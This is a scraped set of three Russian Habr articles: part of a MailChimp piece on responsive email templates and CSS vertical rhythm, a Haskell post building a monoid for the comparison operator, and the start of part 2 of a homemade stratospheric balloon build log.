Чтобы соответствовать всем этим требованиям, я написал HTML-код так, чтобы все контент-блоки были одинаково структурированы, а код таким образом можно было легко изучить и понять. Каждый из дизайн-шаблонов для различных видов контента был размещен в отдельной строке таблицы – благодаря этому была достигнута модульная структура итоговой модели. Отдельные элементы стало возможным дублировать или перемещать, просто копируя или перемещая соответствующую строку.
Кроме того, весь проект был построен на минималистичном CSS: всего 4 ruleset'а в стандартном CSS и еще 4 в media query. Помимо этого была использована базовая стилизация самого контента, которая повлияла только на оформление текста и цвет фона. Таким образом, дизайнеры получили возможность написания своего CSS без необходимости ломать голову над влиянием на функциональную составляющую рассылки.
**Дополните полученный код**
Закончив разработку, я протестировал полученную модель, используя стандартную серию тестов, с помощью браузера и почтового клиента для мобильного устройства. В ходе первого прогона полученное письмо отображалось во всех популярных почтовых клиентах без особых проблем. Однако, моя работа на этом не закончилась: существовали два почтовых клиента, с которыми возникли сложности.
Outlook 2007/2010 и мобильное приложение Gmail для Android – это просто кошмар. С Outlook возникло множество проблем из-за его графического движка на базе Microsoft Word, а приложение Gmail, несмотря на то, что оно – мобильное, не поддерживает media queries. Написание версии письма для Outlook требовало создания очень негибкого, тщательно выверенного кода, а для почтового клиента Gmail нужен был очень «рыхлый» код: неадаптивный, но относительно гибкий.
Обычно мы считаем, что лучше перестраховаться, стараемся сделать нашу рассылку более надежной и учитываем возможность поддержки Outlook – в конце концов, Microsoft железной хваткой держит рынок почтовых приложений для ПК. Но поскольку наша адаптивная модель была задумана для email-дизайнеров, немного разбирающихся в технологиях, я решил встать на противоположную сторону и решил заняться максимальной поддержкой мобильных устройств. Это означало создание множества контент-блоков с использованием [выравнивания таблиц](http://templates.mailchimp.com/development/responsive-email/responsive-column-layouts/). Теперь с приложением Gmail на Android все в порядке.
Вы можете подумать: «А почему только Gmail для Android? Есть ведь и приложение для iOS!» Оно, конечно, есть, но работает оно еще хуже – и не поддерживает вообще ничего. Письма отображаются нормально, но на сегодняшний день о поддержке мобильного приложения можно забыть.
Тем не менее, использование выравнивания таблиц для Gmail – отличное решение для обеспечения гибкости, но оно недостаточно надежно и ведет к сбоям в расположении элементов в (несложно догадаться) Outlook 2007/2010. Проблемы упирались в один исключительно коварный баг в Outlook, который автоматически вставляет разрыв страницы в любой документ длиннее 22 дюймов (или 1700px). Когда это происходит, выровненные таблицы, обладающие при этом свойством float, начинают расползаться. К счастью, эта проблема, кажется, была решена в Outlook 2013.
Одно из решений – использовать условные CSS и создать отдельный стиль, чтобы преодолеть проблемы с Outlook. В данном случае я решил не усложнять и просто повторил все то, что было сделано ранее с помощью media query для мобильных клиентов. Условные CSS – вещь необязательная, но это неплохой вариант решения проблемы.
После того, как я разобрался с поддержкой Outlook 2007/2010 и Gmail для Android, модель стала надежно работать с большинством почтовых клиентов и при этом обладала достаточным уровнем гибкости.
**Обучение с помощью комментариев**
Некоторые из этих техник могут быть не всегда понятны тем, кто только начал работать email-дизайнером. Для того, чтобы решить эту проблему, я постарался включить в код объяснения, показывающие, зачем используется тот или иной блок кода и что именно в рамках этого блока происходит.
Я также постарался отметить начало и конец секций, подразумевающих наличие контента, и указать, нужны ли для их заполнения специальные действия.
Сохраняя фокус создаваемой модели на базовых вариантах использования, применяя повторяющиеся дизайн-шаблоны в рамках всего письма, создавая надежный и одновременно гибкий код, мне удалось сделать так, чтобы каждый смог разобраться в адаптивном HTML-шаблоне письма и легко начать работать с ним.
Мы надеемся, что эта модель в сочетании с нашей [библиотекой](http://templates.mailchimp.com) email-шаблонов сможет развеять ауру таинственности и заблуждений, окружающую дизайн писем в HTML. Мы, конечно, еще не закончили нашу работу: и библиотека референсов, и модели писем – проекты, которые я планирую развивать и улучшать на основе полученного фидбека.
#### Уплотнение текста и относительные размеры шрифтов
*Мардав Вала*
Редизайн MailChimp в 2013 году дал нам возможность тщательно подобрать типографику приложения. Модульной системой верстки («версткой с сеткой») никого сейчас не удивишь, но достичь вертикального ритма в сети (это еще один способ сказать «выровнять контент по модульной сетке») все еще не так-то просто, особенно когда типы отображаемого контента достаточно сильно варьируются. Но после решения проблемы изначального несоответствия дизайна и кода, которая возникает в основном из-за различий в том, как мы воспринимаем (или не воспринимаем) межстрочные интервалы и интерлиньяж в печатных изданиях и веб-медиа, наши команды по дизайну и фронт-энд-разработке начали говорить на одном языке.
**Уплотнение текста**
Как отметил Ричард Раттер (Richard Rutter), вертикальный ритм любой веб-страницы может быть достигнут за счет аккуратной работы с межстрочными интервалами, границами между объектами и расстоянием между содержимым элемента и его границей. Суть в том, чтобы найти подходящий межстрочный интервал, который задает основу для вычисления размеров полей и отступов.
Хотя приложение MailChimp содержит большой объем контента, крайне небольшая его часть содержит большое количество абзацев текста – почти вся информация представлена в виду списков, форм, таблиц, графиков или блоков данных. Поэтому вместо того, чтобы начинать с больших межстрочных интервалов, которые повлекут за собой большие размеры полей и отступов, мы начали с минимально возможного значения межстрочного интервала – 6px для каждого элемента приложения. Наша модульная сетка основана на этом значении в 6px.
Почему 6px? Мы экспериментировали с большим количеством базовых значений, но поняли, что 6px путем умножения очень элегантно превращаются в 12px, 18px, 242px и так далее, давая нам отличный диапазон различных значений размеров шрифтов и отступов. Это значение также оказалось отлично применимо к небольшим элементам, таким как кнопки и поля форм. Это обеспечило нам гибкость, необходимую для создания практически любого интерфейса.
В MailChimp изменения происходят постоянно – мы выпускаем новые функции и обновления нашего UI каждые 4 недели – поэтому в наших поисках вертикального ритма нам необходимо было обеспечить системе достаточный уровень гибкости. Ранее в процессе проектирования мы решили применять отступы только внизу элементов, чтобы облегчить процесс создания вертикального ритма. Таким образом, новые модули можно было бы размещать, не нарушая визуальную иерархию на странице. Использование «однонаправленных» отступов помогло нам достичь этой цели.
**Простая математика**
Поскольку наш интерфейс спроектирован на шестипиксельной модульной сетке, все размеры межстрочных интервалов, отступов и полей должны были быть кратны 6, чтобы задать вертикальный ритм. Размер шрифтов при этом, однако, можно устанавливать любой – не опасаясь нарушить этот вертикальный ритм. Наш основной шрифт имеет размер 15px – такой шрифт, как нам кажется, оказывается читабелен во всех ситуациях и при этом не перегружает интерфейс.
Согласно лучшим практикам, межстрочный интервал для улучшения читабельности должен в полтора раза превышать высоту шрифта. Если размер нашего шрифта составляет 15px, то межстрочный интервал в таком случае должен равняться 22,5px. Но поскольку шаг нашей модульной сетки был величиной в 6px, мы «растянули» межстрочный интервал до 24px, создавая прямую зависимость между межстрочными интервалами, отступами и полями для всех модулей. Разобравшись с вычислениями, мы начали применять эти пропорции к элементам нашего приложения.
Для всех заголовков и других размеров шрифтов межстрочный интервал также был установлен на значение, кратное 6 и вычислявшееся в соответствии с размером самого шрифта. В примерах используются измерения в пикселях для простоты представления:
```
h1 {
font-size: 40px;
line-height: 48px;
}
.small-meta {
font-size: 13px;
line-height: 18px;
}
```
**Исключения из правил**
Изображения и графики не подчиняются общим правилам и часто «разбивают» модульную сетку. Их размеры часто непредсказуемы – их не всегда можно легко привести в соответствие с шагом сетки. Но несмотря на это вертикальный ритм не нарушается, поскольку границы между объектами, задаваемые отступами и полями, остаются неизменными.
Элементы, имеющие границы, также могут выйти за рамки модульной сетки, так как их размеры добавляются к основным вычислениям, а не встраиваются в систему. Но тут выход простой: вычисляйте высоту элементов с учетом их границ (этот подход может повлечь уменьшение полей над или под элементом на величину границ).
Конечно, пуристы могут возразить, что такой подход приведет к визуальному дисбалансу если высота границ элемента будет больше 1px – и они будут совершенно правы. Усилия по выравниванию горизонтальных линий и элементов, имеющих границы, по модульной сетке не всегда оправдывают себя, поскольку горизонтальные линии и границы не могут повлиять на вертикальный ритм при правильном подходе к отступам, межстрочным интервалам и полям.
Вот пример того, как мы сократили поля элементов списка на высоту границы в 1px:
```
@base-unit: 6px;
.dotted-list {
margin-bottom: (@base-unit * 2);
li {
padding-top: (@base-unit * 2)
padding-right: 0;
// 1px less padding bottom
padding-bottom: ((@base-unit * 2) - 1);
padding-left: 0;
border-bottom: 1px dotted #c0ffee;
}
}
```
Графики также можно подстроить пропорционально вашей сетке. Если соотношение сторон графика меняется при изменении окна браузера, установить высоту графика и вертикальные отступы пропорционально шагу вашей сетки. Если этого не происходит, установите только величину вертикальных отступов и не меняйте высоту графика.
Поскольку высота изображения будет масштабироваться с изменением его ширины, мы не можем полагаться на выравнивание высоты по модульной сетке. В этих случаях надо убедиться, что отступы, окружающие объект, заданы так, чтобы не нарушать вертикальный ритм.
Применение подобных специальных правил в коде и работа с исключениями из правил может внести путаницу. Быстро обсуждение в команде и простой комментарий в коде могут уменьшить ряд сложностей. Документирование изменений в библиотеке шаблонов также имеет большое значение.
Мы обнаружили, что «тонкая настройка» вертикальных промежутков на уровне модулей – проектирование «вне контента» как рекомендует Марк Боултон (Marc Boulton) – процесс гораздо более осмысленный, нежели внесение изменений на глобальном, «постраничном» уровне. Если отдельные модули подогнаны друг к другу по модульной сетке, неважно, где именно они расположены: вертикальный ритм и визуальная иерархия будут автоматически соблюдаться.
**Относительные размеры шрифтов**
При использовании относительных размеров шрифтов, измеряемых в em (относительная единица длины, равная размеру текущего шрифта), для создания гибкого, масштабируемого проекта, …может оказаться сложнее, чем при указании абсолютных размеров шрифтов в пикселях.
Перевод значений из пикселей в относительные единицы (em) раньше был довольно утомительным занятием. К счастью, мы можем упростить процесс, используя объединенные возможности препроцессоров CSS и повсеместно используемое правило Итана Маркотта (Ethan Marcotte): target ÷ context = result.
Ключ к сохранению порядка среди всей этой путаницы с относительными размерами шрифтов состоит в концентрации на контексте. Для вложенных элементов с относительным размером шрифта контекстом является размер шрифта родительских элементов, выраженный в пикселях, для родительских элементов контекст – размер шрифта основного текста по умолчанию (16px, если говорить только об основном тексте).
Вот пример HTML-кода на основе этого примера от Treehouse:
```
Title: Tagline
==============
```
Задать относительный размер шрифта заголовка и добиться того, чтобы шрифты вложенных строчных элементов определялись без особой путаницы можно следующим образом:
```
// default body font-size
@baseFontSize: 16;
@h1Size: 24;
@h1SpanSize: 18;
h1 {
#pxtoem > .font-size(@h1Size, @baseFontSize);
// 24 ÷ 16 = 1.5em
> span {
#pxtoem > .font-size(@h1SpanSize, @h1Size);
// 18 ÷ 24 = .75em
}
}
```
По мере увеличения количества вложенных уровней (это могут быть уровни с вложенными заголовками, абзацами, ссылками и строчными элементами) следить за размерами шрифтов становится все труднее, поэтому такие превентивные меры контроля могут помочь в достижении постоянно ускользающей CSS-нирваны. | https://habr.com/ru/post/254307/ | null | ru | null |
# Как я "<" моноидом делал
 Некоторое время назад в одном уютном камерном собрании я делал доклад о своей разработке — скриптовом лиспоподобном языке Liscript. Начал с азов — семантики вычисления списков, префиксной нотации… Дошел до произвольной арности стандартных операций:
```
+ 1 2 3
=> 6
```
все интуитивно понятно, вопросов не возникает. Рассказываю про булевские значения, привожу пример:
```
< 1 2
=> true
```
тоже все понятно. И тут вопрос из зала: «а если 3 аргумента передать, как будет вычисляться?» Я решаю, что это хороший повод выпендриться умными терминами, и отвечаю: «точно так же — как свертка по моноиду» :) И тут же поправляясь — «хотя операция сравнения не является моноидом», пишу пример:
```
< 1 2 3
=> true
< 1 2 3 4 1 2
=> false
```
Все так же интуитивно понятно, вопросов не возникает и продолжаем дальше (благоразумно оставляя без рассмотрения вычисления примитивных операций на одном аргументе и вообще при отсутствии оных, а также вычитание/деление и прочие немоноидальные операции :)). Успешно миновав в докладе подобных камней, через некоторое время я подумал — а можно ли как-то изловчиться, и все-таки сделать операцию сравнения моноидом (в каком-либо смысле)? И мне кажется, мне это удалось. Заинтересовавшихся темой прошу под кат.
### Вступление про моноиды для самых маленьких
Как всем хорошо известно, **моноидом** называется ассоциативная бинарная операция на заданном множестве, имеющая нейтральный элемент. Значит, для определения моноида нам надо задать 3 вещи:
* множество, на котором определена наша операция
* саму операцию, обладающую ассоциативностью
* нейтральный элемент (из вышеопределенного множества)
Освежим в памяти термины «нейтральный» и «ассоциативный». Обозначим нашу бинарную операцию *mappend*, нейтральный элемент *mempty* (чтобы потом было проще читать хаскельный кот и чтобы латекс на маркдаун не натягивать), тогда нейтральность элемента определяется как:
```
mappend mempty x = x
mappend x mempty = x
```
что можно можно перевести на пальцах как: если один из операндов нашей операции является нейтральным элементом, то результат операции является вторым операндом, другими словами — нейтральный элемент не изменяет результат. Ассоциативность же определяется как:
```
mappend x (mappend y z) = mappend (mappend x y) z
```
То есть при вычисления композиции из двух (и, как следствие, произвольного числа) операций результат не зависит от порядка вычислений, или, иными словами, неважно как расставлять скобки в длинном выражении (поэтому их можно вообще опустить).
Вообще говоря, моноид — это довольно общее понятие абстрактной алгебры и теории категорий (ведь широко известно, что даже те самые монады — это моноиды по определению), но в данной статье мы не будем глубоко погружаться в теоретические аспекты. Начнем с пары простых примеров: операция сложения на множестве целых (или натуральных/вещественных/комплексных) чисел. Ассоциативность присутствует, в качестве нейтрального элемента берем 0 из заданного множества. Операция умножения также является моноидом, с нейтральным элементом 1. Еще пример — операция конкатенации на множестве строк, с нейтральным элементом в виде пустой строки. Так же все законы моноида выполняются, хотя операция конкатенации не является коммутативной — но это и не требуется. Реализация моноидов сложения/умножения на языке Haskell тривиальна:
```
newtype Sum a = Sum a deriving (Eq, Ord, Show)
instance Num a => Monoid (Sum a) where
mempty = Sum 0
mappend (Sum x) (Sum y) = Sum $ x + y
newtype Product a = Product a deriving (Eq, Ord, Show)
instance Num a => Monoid (Product a) where
mempty = Product 1
mappend (Product x) (Product y) = Product $ x * y
```
Здесь мы фактически определили конкретные реализации *mempty* и *mappend* по описанным выше правилам. Класс типов *Monoid* автоматически предоставляет нам операцию свертки *mconcat* любого контейнера (списка, дерева — любого, на котором определена операция свертки) по любому моноиду: на примере списка — мы начинаем с нейтрального элемента *mempty* в качестве результата свертки и идем последовательно по списку, обновляя результат через нашу моноидальную бинарную операцию *mappend* с текущим элементом списка. На примере числового списка, свертка его по моноиду *Sum* даст нам сумму элементов списка, а *Product* — произведение. Точно таким же образом вычисляются конструкции:
```
+ 4 5 6 7
=> 22
* 2 3 4 5
=> 120
```
В лиспах (оставляя в стороне вопрос о вычислении без аргументов). Проверим хаскельные реализации:
```
*MyMonoid> mconcat $ map Sum []
Sum 0
*MyMonoid> mconcat $ map Sum [1..10]
Sum 55
*MyMonoid> mconcat $ map Product []
Product 1
*MyMonoid> mconcat $ map Product [1..10]
Product 3628800
```
Как видим, все работает.
### Операция минимум
Теперь возьмем пример поинтереснее — бинарную операцию минимума на числовом множестве. Является ли она моноидом? Операция ассоциативна, множество задано. Единственная проблема — определение нейтрального элемента. Нам нужен такой элемент в нашем множестве, который был бы не меньше любого другого элемента. Если наше множество имеет точную верхнюю грань (например, тип uint8 имеет максимальное значение 255), то мы можем взять это значение в качестве нейтрального элемента нашего моноида. Но если у нас тип неограниченных целых чисел? Решение довольно простое — мы расширяем наш тип еще одним специальным значением (условно назовем его «плюс бесконечность») и зададим операцию так, чтобы выполнялись законы.
Реализуем это в коде и проверим на пустом и непустом списках
```
data Min a =
HighInf -- нейтральный элемент моноида (+ бесконечность)
| Min a -- упакованное значение
deriving (Eq, Ord, Show)
instance Ord a => Monoid (Min a) where
mempty = HighInf
mappend HighInf v = v
mappend v HighInf = v
mappend (Min x) (Min y) = Min $ min x y
*MyMonoid> mconcat $ map Min []
HighInf
*MyMonoid> mconcat $ map Min [5..10]
Min 5
```
Все как и ожидалось — минимум на пустом списке дает плюс бесконечность, на непустом — минимальный элемент.
### Операция сравнения
Теперь перейдем к финальной цели — попытаемся реализовать моноид для операции сравнения. И сразу у нас возникает проблема — операция сравнения, в отличие от предыдущих рассмотренных операций, не является операцией, определенной на множестве. То есть, тип ее результата булевский, и не принадлежит типу множества ее аргументов, на которых она определена. Это бинарный предикат, а не операция. Но, как всегда, мы можем решить эту проблему с помощью введения дополнительного уровня абстракции (похоже на то, как мы делали в прошлом примере с минимумом): надо сконструировать такой тип, чтобы обобщенная операция сравнения была определена на множестве этого типа. Также нам потребуется правило трансформации значений исходного множества в этот тип и значений этого типа в булевский тип. Таким образом, обобщенное сравнение как моноидальная операция будет выглядеть так: мы переводим список исходных значений в список значений нашего типа, осуществляем свертку этого списка по моноидальной операции, и потом переводим результат в булевское значение — что и требуется от операции сравнения.
Давайте подумаем, какие значения должен предоставлять этот новый тип. Нам нужно значение нейтрального элемента, с выполнением соответствующих законов. Нам нужно значение, характеризующее ложный результат какого-либо сравнения — если у нас при свертке в цепочке моноидальных операций сравнения встретилось это значение — мы протаскиваем его до конца, игнорируя другие сравнения. И нам нужно значение, характеризующее истинный результат сравнения. Оно должно содержать в себе значение нашего исходного типа — для последующих сравнений. Но поскольку последующие сравнения могут использовать его как слева (от условного знака <), так и справа, то нам недостаточно одного значения — нам нужны крайние значения обработанного диапазона (минимальное и максимальное за всю цепочку сравнений). Таким образом, значение нашего типа будет представлять собой пару из 2 элементов, задающую свернутый диапазон. Напишем реализацию моноида и всех служебных функций:
```
data Asc a =
EmptyAsc -- нейтральный элемент моноида
| RangeAsc a a -- диапазон значений (сравнение истинно)
| FailAsc -- сравнение ложно
deriving (Eq, Ord, Show)
instance Ord a => Monoid (Asc a) where
mempty = EmptyAsc
mappend EmptyAsc v = v
mappend v EmptyAsc = v
mappend FailAsc v = FailAsc
mappend v FailAsc = FailAsc
mappend (RangeAsc a b) (RangeAsc c d)
| b < c = RangeAsc a d
| otherwise = FailAsc
valToAsc x = RangeAsc x x
ascToBool FailAsc = False
ascToBool _ = True
```
и проверим работу:
```
*MyMonoid> mconcat $ map valToAsc []
EmptyAsc
*MyMonoid> mconcat $ map valToAsc [3,4,7,10]
RangeAsc 3 10
*MyMonoid> mconcat $ map valToAsc [1,2,3,4,1,2]
FailAsc
*MyMonoid> isAscList []
True
*MyMonoid> isAscList [1..10]
True
*MyMonoid> isAscList $ [1,2,3,4,1,2]
False
```
Все работает как и требуется — наш моноид проверяет упорядоченность списка по возрастанию — то есть ровно то, что и делает аналогичная конструкция в лиспах. Нетрудно написать еще несколько аналогичных моноидов, проверяющих список на нестрогое возрастание (по операции нестрогого сравнения <=), убывание (строгое и нестрогое) и равенство всех элементов списка. Для этого достаточно только заменить соответствующий бинарный предикат в определении функции *mappend*.
### Долгожданное заключение
Теперь я спокоен — я не обманул слушателей во время доклада :) Операция сравнения сама по себе не является моноидом, но можно ввести уровень абстракции, в котором ее обобщенный аналог будет являться таковым.
Если кому интересно — [видео доклада (стрим на ютубе)](https://www.youtube.com/watch?v=H1J5xVFDns0) Ссылки на мой гитхаб-репозиторий с реализацией интерпретаторов можно найти в моих предыдущих статьях на Хабре. | https://habr.com/ru/post/328110/ | null | ru | null |
# Самодельный стратостат. Часть 2

Long, long time ago… Нет, не так. 4 месяца назад я рассказал вам, как из клея и резиновых сапог создать с нуля свой стратостат с телеметрическим модулем и видеокамерой. Я так же описал наш опыт запуска и поиска этого метеозонда, обозначив несколько возникших проблем. Что ж. Мы анализировали, анализировали и доанализировались до четвертого шара. И сейчас я расскажу вам, что произошло за это время, почему он четвертый, и где *пропавшие* два. Эта часть будет менее технической, т.к. изменений конструкции *почти* не было, но те что были — имеют значение. Если вы вне контекста, то эту часть советую читать только после прочтения первой (хотя бы технических разделов). Ссылка на первую часть ниже. Будет много фото, видео и графиков. Поехали?
Вступление
----------
[Самодельный стратостат. Часть 1](https://habr.com/ru/post/555070/)
UPD: [Самодельный стратостат. Часть 3](https://habr.com/ru/post/584398/)
UPD: [Самодельный стратостат. Полётный план и ОрВД](https://habr.com/ru/post/592383/)
Кратко напомню, что тут происходит и что будет происходить дальше. Давненько уже (больше года назад) задумали мы с друзьями собрать с нуля и запустить (а потом и найти/достать) свой стратостат. Полных инструкций в интернете оказалось немного, поэтому появилась первая часть этой статьи. Как и любой проект — этот проект должен иметь финал. А чтобы иметь финал — нужно иметь конкретные цели проекта. Из целей были выделены две: достичь высоты 30км и получить видео в 4k с высоты 30км. Ни одна из целей не была достигнута в первом запуске (напомню, там было: 19км и видео до 7км), так что проект продолжил развиваться.
Давайте сначала я опишу *naming convention*, чтобы не путаться дальше в истории. Я разделяю 2 сущности: запуск и шар. Сделано это потому, что в один запуск мы можем запустить (поправить бы тавтологию) несколько шаров. А нам нужна адресация до конкретного запуска-шара. Итак. Первый наш шар носил название **Vostok-1** — первый запуск, единственный шар. За ним был **Vostok-2** — второй запуск, единственный шар. Далее **Vostok-3a и Vostok-3b** — 3й запуск, два шара. Vostok-2 и Vostok-3a потерпели крушение на старте.
### Vostok-2
Первой нашей проблемой была высота. И с ней также связан неудачный запуск второго шара. Высоту мы решили победить увеличением объема шара. Был выбран шар **L-800** (800 это масса шара в граммах, таблица ниже). А если больше шар, то и гелия надо больше, правильно? Правильно. Но мы совершили ужасную ошибку и тут и с Vostok-1: за целевой объем шара мы приняли не ту величину. Мы их сильно перекачивали. Vostok-1 улетел чудом, Vostok-2 не выдержал такого издевательства и *сошел с рельс* на старте. Давайте разберемся где я накосячил в оба запуска.

Вот технические характеристики шаров. Vostok-1 имел шар **L-300**. Вроде все ясно, только одно мне было не ясно: в чем разница между *начальным* и *рабочим* диаметрами. Я, почему-то, подумал, что если есть слово "гелий" — значит нам туда. Оказалось, что нет. Рабочий диаметр, это некое усредненное значение *на высоте*. А нам надо было использовать начальный диаметр как цель для наших расчетов. Давайте посчитаем количество гелия для этих шаров и разных диаметров по формуле из первой статьи:
| Шар | Начальный диаметр (баллонов по 40л) | Рабочий диаметр (баллонов по 40л) |
| --- | --- | --- |
| L-300 | 0.29 | 0.70 |
| L-800 | 1.72 | 3.43 |
В обоих случаях разница значительная. Уже на старте мы перекачали шар почти вдвое! Но, т.к. мы докачивали шар до его рабочего диаметра — он не взрывался (этот же диаметр — рабочий!). Проблема оказалась в подъемной силе. Во втором случае она очень, очень значительная. Пока ребята накачивали его, им пришлось буквально висеть на нем вдвоем и третий подстраховывал. Это создало значительную нагрузку на горловину шара, за которую его и держали. И, не выдержав растяжения, горловина порвалась, унеся в небо 50000 рублей. От такого количества гелия местные птицы еще 3 дня орали смешным голосом.
Итак, осознав свою ошибку, мы получили серьезное преимущество — теперь мы знали, что гелия нам надо вдвое меньше. А гелий и, непосредственно, шар — это единственные невозвратные ресурсы наших запусков. Иначе говоря — мы сильно снизили стоимость запуска.
### Vostok-3a
Это был шар L-600. Мы закачали правильное количество гелия. И даже немного подстраховались (как мы тогда думали), используя тент для удержания шара в процессе накачки, чтобы не создавать нагрузку на горловину. Подвела нас анатомическая аномалия всех членов команды (проще говоря — руки из ж...). И этот шар успешно улетел в ветки деревьев, об которые и взорвался.
Выдержав минуту молчания, мы вспомнили, что когда-то давно то мы заказывали 2 шара L-300. Как раз на случай неудачи. И сейчас был именно такой случай. Так как гелия мы всегда берем немного с запасом (мало ли стравит где или еще чего), то немного у нас еще оставалось. Да и шар этот был почти вдвое меньше, так что и гелия надо было сильно меньше. Закачав остатки в 300-й шар мы, уже особо ни на что не рассчитывая, просто отпустили его в небо без долгих прощаний. Это был наш **Vostok-3b**. Об этом запуске и пойдет речь в этой статье, т.к. он оказался успешным!
Список оборудования и компонентов
---------------------------------
На самом деле, оборудования, в сумме, докупалось прилично. Но тут я не буду перечислять все купленное, а сосредоточусь только на том, что реально улетело на Vostok-3b.
> Некоторые разделы будут выглядеть как: ничего не изменилось, идем дальше. Я оставил структуру статьи как в первой части *для обратной совместимости*
Состав полезной нагрузки почти не подвергся изменениям: это все та же RPI 4B (+Sense HAT + GPS HAT) + GoPro 7 black.
Добавлю только пару фото компонентов черного ящика (ранее их не было), так как я забирал его домой для ремонта, который не пригодился, но об этом упомяну чуть детальней далее по тексту:


Помимо увеличения объема шара, для достижения расчетной высоты мы решили так же экономить и вес полезной нагрузки. Проанализировав массу компонентов, мы поняли, что можем хорошо сэкономить на аккумуляторах (павербанках). В первый запуск это было 2 павербанка по 20000 mAh, каждый массой ~300г. Взглянув на телеметрию Vostok-1, мы поняли, что бОльшую часть времени наш зонд работал на земле, соответственно таких емкостей (как минимум для RPI) — нам не надо. И решили порезать емкость банок вдвое. Обеих. Взяли 2 павербанка 10000 mah с массой 180г каждый. И не прогадали, экономия массы ощутимая, емкости хватило на обе подсистемы и даже немного с запасом.
Ну и мы не стали в этот раз класть бутылку виски :)
По оборудованию это все. Переходим к облегчению конструкции.
Конструкция
-----------
Далее мы решили переделать корпус. Корпус первого востока был слишком большой для наших нужд и это было нерационально — пенополистирол тоже имеет вес. Мы так же пробовали различные материалы, в частности, пенопласт.

Но, несмотря на значительную экономию массы — пенопласт не подходил по ряду причин. Например, он был слишком хрупким и мог развалиться от нагрузки создаваемой подъемной силой шара. В итоге мы откатились до пенополистирола, но срезали ему лишнюю *крышу*:

Размеры нового бокса:

### Общая конструкция
Схема та же, что и с Vostok-1. Единственное что мы добавили (по совету из комментариев на YouTube) — боковые стабилизаторы. Помогли они или нет — сложно судить. Забегая вперед скажу: судя по телеметрии и даже видео — да, крутило меньше чем в первый раз. Но и условия полета были другие. Так что тут мне сложно судить о целесообразности этого решения в нашей задаче. И, несмотря на то, что стабилизаторы увеличат массу — мы все же решили рискнуть и приклеили пластиковые треугольники по бокам:

Это вид бокса уже после того, как мы его нашли (и сняли верхнюю крышку). Фотки *до* я, почему-то, не смог найти. Но суть стабилизаторов это передает.
Да, и, как видите — GoPro на этот раз мы решили закрепить целиком снаружи на пластиковые стяжки, продетые сквозь корпус. Во избежание перегрева в стенках бокса. По причине экономии массы короба, мы так же решили не использовать внешние 2-3-х-осевые стабилизаторы для GoPro (хотя один такой был закуплен и весит он прилично по нашим меркам).
### Полезная нагрузка
Как я уже упоминал, заменили только павербанки. Так же, решили немного перекомпоновать компоненты в соответствии с новыми размерами бокса. Но смысл остался тот же: внизу грелка (RPI), над ней аккумуляторы обогреваемые RPI, по бокам сопла для поступления забортного воздуха для охлаждения RPI. Эти сопла так же используются для крепления бокса к парашютному фалу. Не буду вставлять схему охлаждения, т.к. это точно та же система, что и в Vostok-1. Она хорошо себя показала в тот запуск и мы решили ничего не ломать:

Приклеили так же несколько пенопластовых балок для фиксации компонентов нагрузки:

Итак. Что же нам это дало? Напомню, что Vostok-1 имел массу полезной нагрузки **2.5кг**. После проведенных манипуляций, нам удалось снизить ее вдвое — **1375г**:

Посчитав себя хорошими мальчиками, мы закончили с нагрузкой и двинулись дальше.
Программирование
----------------
Ничего не менялось перед полетом. Все [тот же софт на dotnet](https://github.com/ArtemKiyashko/RpiProbeLogger) полетел, прилетел и доставил нам всю телеметрию.
Но вот после полета был небольшой рефакторинг. Дело в том, что в этот раз наш зонд очень сильно промок. Когда мы его нашли и я поднял его с земли — из него вылилось ведро воды. Карта памяти не пострадала, но вот телеметрический модуль заводиться больше не хотел. LED матрица вела себя странно — то включалась, то нет. Так что без хирургического вмешательства было не установить: что конкретно отлетело? Я взял модуль домой и, поочередно снимая платы, выяснил что проблема где-то в SenseHAT. Подебажив свой код немного, выяснилось, что выбрасывается исключение именно на обращении к LED матрице, вот тут:
```
private void Show()
{
var pixels = new Pixels(ImmutableList.CreateRange(_currentStatuses));
LedMatrix.SetPixels(pixels); // Тут было исключение
}
```
Это часть класса `StatusReportService`, который не имеет интерфейса и, чтобы понять: а все остальное работает ок или не ок — нужно было заэкстрактить интерфейс и за mock-ать этот сервис. Что и было проделано в [единственном коммите](https://github.com/ArtemKiyashko/RpiProbeLogger/commit/eccc7a65c0f225054560b6e840590d799da78cf8).
Как оказалось — все остальное работает штатно. А как оказалось после еще одной перезагрузки — LED матрица тоже заработала штатно ¯\*(ツ)*/¯
Нуштош. Хорошо, что все хорошо закончилось. Пролистываем.
Бухгалтерия
-----------
Уффф… Тут все сложно, но есть и хорошие новости. Как вы помните, первый запуск влетел нам в копеечку — примерно 80000р (из которых реально полетело 75000р) без учета стоимости GoPro 7 black (т.к. она на тот момент у меня уже была и не входила в расходы этого проекта). На GoPro накиньте еще 35000, итого 115000р на первый запуск. Но, там же я отметил, что при оптимистичном развитии событий — из невозвратного у нас только гелий и шар. Все остальное возвращается, находится и запускается снова. При пессимистичном развитии (не нашли, не смогли достать зонд) — конечно все придется покупать заново. Но мы нашли :) Так что бОльшую часть расходов заняли именно гелий и шар, и, как я упоминал в начале статьи — необходимое количество гелия мы так же сократили вдвое (благодаря исправлению ошибки в расчетах). Так что запуски наши серьезно подешевели, хотя и пришлось докупать всякое по мелочи. Давайте посмотрим на такую же, как и в первой статье, таблицу, но для Vostok-3a — Vostok-3b:

* Зеленый сектор — то что реально полетело в 3й запуск
* Желтый сектор — было куплено, но можно было бы обойтись и без этого
* Красный сектор — было куплено, но в этот запуск не пригодилось (можно было не покупать)
Как видите — в этот раз намного скромней. Львиную долю составляют именно гелий и шары. Шар L-2000 (царь-шар, массой 2кг) не успели доставить к нужной дате, так что вместо него полетели L-600 и L-300. L-300 был куплен еще к первому запуску и в эти расходы не входит.
Вооот, вот с такими ценами — запускам быть! Ну, если тут все ясно — двигаемся дальше.
Подготовка к запуску
--------------------
Тоже никаких откровений, по сравнению с первым запуском. Но мы решили не запускать из того же места по 2м причинам:
1. Ребятам очень не понравилось прошлое болото (да и аренда вездехода дело не дешевое)
2. Хотелось разнообразить приключения
Так что мы снова отправились на [fpln.ru](https://fpln.ru/) смотреть — где не летают самолеты и нет никаких закрытых/бесполетных зон. Затем сходили на [predict.habhub.org](http://predict.habhub.org/) прикинуть — куда должен упасть наш зонд из той или иной точки запуска (желательно, чтобы падал подальше от болот). Ну и, поголосовав немного, выбрали одну. Все как в первый запуск — едем дальше.

Запуск
------
Вы, наверное, обратили внимание на закуп перчаток и материала для тента? Рассказываю :)
Сначала про перчатки. Начитавшись инструкции к шарам, мы обнаружили, что, во избежание повреждения оболочки, рекомендуется не прикасаться к шару голыми руками — жир может негативно сказаться на характеристиках латекса. Там же рекомендуется использовать х/б перчатки. Ну ок, взяли перчатки.
